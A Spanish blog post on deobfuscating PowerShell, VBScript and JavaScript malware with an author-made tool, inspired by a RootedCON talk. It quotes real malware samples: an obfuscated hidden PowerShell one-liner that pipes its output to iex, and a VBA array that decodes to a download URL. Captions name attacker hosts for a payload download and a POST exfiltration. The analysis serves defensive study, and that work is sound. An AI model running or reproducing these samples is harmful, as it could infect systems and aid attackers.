Ilustración abstracta de fragmentos de cristal turquesa y magenta girando en la oscuridad

Vulnerabilidades y Ataques Informaticos

Analizando malware que utilice Visual Basic Script, Javascript y/o Powershell

¿Que hace un malware que utilice Visual Basic Script, JS y/o Powrshell? Método no infalible, pero podremos utilizarlo en Athenea CCNI , visto en RootedCON.

Hola a tod@s

Vamos a ver como de forma rápida tratar de ver qué hace un malware que utilice Visual Basic Script, Javascript y/o Powrshell. Este método no es infalible, se puede escapar alguno, pero la idea es ver algunos ejemplos sencillos y los complicados, te los dejo a ti xD.

Utilizaré una utilidad que programé para de forma sencilla, copias el código malicioso, pegas en la herramienta y ves la salida.

Si la quereis, pordeis descargarla aquí: DESCARGA

Comenzamos con una muestra en Powershell. Busco uno en Google: Por ejemplo

Si vamos a los procesos, podemos ver el comando completo de Powershell que utiliza.

Proceso powershell.exe visto en el monitor de procesos con código ofuscado y PID 3700

powershell.exe -noP -exec Bypass -nonI -c "&{$o4='fedgolsvfindstr'; $m2o='powershell -wi"N "hid"Den -c {'+$o4.SubString($o4.length - 7, 7)+' /s mrekikaso c:\users\*.lnk}'; $re=iex "$m2o"; "$re"|iex}"

En negrita vemos el código que tenemos que copiar y pegar en la herramienta.

Cadena de ejecución de mshta.exe lanzando powershell.exe con descarga desde static-jquery.com

Pulsamos en nuevo o “File – New”, pegamos el contenido (o arrastramos el fichero a la herramienta), seleccionamos el check de Powershell, pulsamos en “Replace mal function” y pulsamos en Play.

El resultado es el comando de la ejecución.

Probemos otro ejemplo, este mismo.

Herramienta de Rafa decodificando un comando PowerShell ofuscado del archivo malwareexample.ps1

Como sé lo que estais pensando, os contesto a esos pensamentos. La herramienta no es mágica, no sirve para todo, depende del nivel de ofuscación del script. La herramienta reemplaza funciones, por lo que si no está, no puede reemplazar, a veces hay que ayudarle.

En este caso:

Herramienta de Rafa con variables de entorno resaltadas en el script malwareexample3.ps1

Reemplazamos manualmente esas variables por IEX:

Herramienta de Rafa analizando una cadena IEX ofuscada del script malwareexample3.ps1

Y ejecutamos.

Herramienta de Rafa revelando la descarga desde static-jquery.com en malwareexample3.ps1

Vemos el resultado final. Hay que tener cuidado con ejecutarlo directamente porque puedes infectarte.

Pasamos al Visual Basic Script. La idea es la misma en los 3 casos. Inicialmente la idea surgió debido a que me encontraba mucho malware con código similar a este.

Por ejemplo:

Dim url_array() As Variant

url_array = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)

Dim count As Integer

Dim url As String

url = ""

For count = LBound(url_array) To UBound(url_array)

url = url & Chr(url_array(count) - 20 - 37)

Next count

Y necesitaba algo que de manera rápida, con un copiar y pegar me generara el resultado de la URL.

Esto es Visual Basic for Applications, por lo que hay que tocar “un poquito” el código para poderlo ejecutar en la herramienta.

Herramienta de Rafa decodificando código VBS que genera la URL 216.158.82.149

Quitándole el tipo de las variables y eliminando count en el Next, funciona todo. La alternativa manual a esto sería. Abre un fichero de texto, guardalo como VBS, pega el código, transformalo para que funcione, guardalo, abre una consola, ejecuta el comando y espera que todo funcione para ver la salida esperada. Son muchos pasos. Con la herramienta, sólo 1.

Si utilizáis Notepad++, por ejemplo, podéis ver como colorea el código y comprobar si lo estáis hacendo bien, una vez finalizado, lo pegais en la herramienta que hará el resto.

Finalizamos con los ficheros Javascript: Aqui.

Código Javascript ofuscado con eval y decodeURIComponent generado por Javascript Obfuscator

Aquí tenemos 2 opciones, reemplazar las funciones automáticamente (check “Replace mal function”) o introduciendo la función a reemplazar en el combobox. Seleccionamos eval y pulsamos enter.

Una vez comprobemos que ha reemplazado la función eval por la correspondiente (según el checkbox que esté marcado, vbs, js o ps1) que mostraría el resultado por la consola, pulsamos el Play.

Vemos el resultado final:

Herramienta de Rafa decodificando el script ofuscado Facture-orange-316454579541.js

Necesitamos que este contenido pase a la ventana de arriba para poder seguir analizando. Pulsamos el botón que está justo a la izquierda del Play.

Detalle de los iconos de copiar, exportar y ejecutar en la herramienta de Rafa

Y repetimos el proceso (bien seleccionando la función eval en el combo y pulsando Enter o bien marcando el check de “Replace mal function”). Esta vez marcaremos el check, por hacerlo de manera diferente a la anterior.

Después de esperar los 16 segundos iniciales (Sleep 16000), vemos como ha cambiado la ventana de abajo.

Captura de la herramienta de Rafa desglosando un payload JavaScript ofuscado en hexadecimal

Lo mismo, lo pasamos arriba y Play. Y ya tenemos el código javascript sin ofuscar:

Deobfuscación del script mostrando variables WScript.Shell y claves de registro de Windows
Código deobfuscado revelando conexión POST a total-virus.myq-see.com y comprobación de antivirus

Como veis, es muy útil con pocos clicks llegar al resultado final, de forma manual se tarda mucho tiempo y la idea era tener una herramienta que me permita de manera rápida analizar VBS, JS y PS1, un todo en uno.

Espero que os haya gustado, la verdad es que Mariano ( Ponencia Rooted ) me animó a escribir este POST después de la gran charla que dio en la Rootedcon 2019 (os la recomiendo, no tiene desperdicio) y habló de la herramienta que programó un compañero suyo, pues aquí la tenéis para el que la quiera usar.

Saludos a todos!!

Temas

No hay comentarios todavía